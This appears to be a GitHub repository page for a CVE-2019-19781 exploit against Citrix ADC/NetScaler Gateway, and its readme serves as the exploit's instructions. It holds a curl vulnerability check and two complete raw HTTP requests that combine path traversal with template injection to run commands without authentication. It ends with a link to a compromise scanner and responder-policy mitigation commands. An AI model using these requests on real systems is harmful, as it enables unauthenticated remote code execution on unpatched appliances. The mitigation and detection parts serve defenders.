Skip to content
CVE-2019-19781 - Remote Code Execution on Citrix ADC Netscaler exploit
Python
Branch: master
Clone or download
Latest commit f82693f Jan 22, 2020
Permalink
Type Name Latest commit message Commit time
Failed to load latest commit information.
CVE-2019-19781.py Make script executrable Jan 12, 2020
readme.md Add @fireeye scanner github Jan 22, 2020

readme.md

CVE-2019-19781

Remote Code Execution (RCE) in Citrix Application Delivery Controller and Citrix Gateway

A vulnerability has been identified in Citrix Application Delivery Controller (ADC) formerly known as NetScaler ADC and Citrix Gateway formerly known as NetScaler Gateway that, if exploited, could allow an unauthenticated attacker to perform arbitrary code execution.

EDIT: Indicator of Compromise Scanner for CVE-2019-19781 from Fireeye -> https://github.com/fireeye/ioc-scanner-CVE-2019-19781/

Products affected:

  • Citrix ADC and Citrix Gateway version 13.0 all supported builds
  • Citrix ADC and NetScaler Gateway version 12.1 all supported builds
  • Citrix ADC and NetScaler Gateway version 12.0 all supported builds
  • Citrix ADC and NetScaler Gateway version 11.1 all supported builds
  • Citrix NetScaler ADC and NetScaler Gateway version 10.5 all supported builds

image

Check if vulnerable

$TARGET=your_ip
curl -vk –path-as-is https://$TARGET/vpn/../vpns/ 2>&1 | grep “You don’t have permission to access /vpns/” >/dev/null && echo “VULNERABLE: $TARGET|| echo “MITIGATED: $TARGET

Vulnerable Perl script

POST /vpn/../vpns/portal/scripts/newbm.pl
POST /vpn/../vpns/portal/scripts/rmbm.pl
GET /vpn/../vpns/portal/scripts/picktheme.pl

Exploit

Only two requests are needed to exploit this vulnerability without any authentication !

First request:

POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Host: 3.81.59.87
NSC_USER: ../../../../netscaler/portal/templates/randomletter
NSC_NONCE: c
Connection: close
Content-Length: 103

url=http://exemple.com&title=[%t=template.new({'BLOCK'='print `uname -a`'})%][% t %]&desc=test&UI_inuse=RfWeb

Second request:

GET /vpns/portal/bonclay4.xml HTTP/1.1
Host: 3.81.59.87
NSC_USER: ../../../../netscaler/portal/templates/randomletter
NSC_NONCE: c
Connection: close

image

Detailed analysis (english):

Security advisory:

Patch (not a real patch)

enable ns feature responder
add responder action respondwith403 respondwith "\"HTTP/1.1 403 Forbidden\r\n\r\n\""
add responder policy ctx267027 "HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/vpns/\") && (!CLIENT.SSLVPN.IS_SSLVPN || HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/../\"))" respondwith403
bind responder global ctx267027 1 END -type REQ_OVERRIDE
save config 
You can’t perform that action at this time.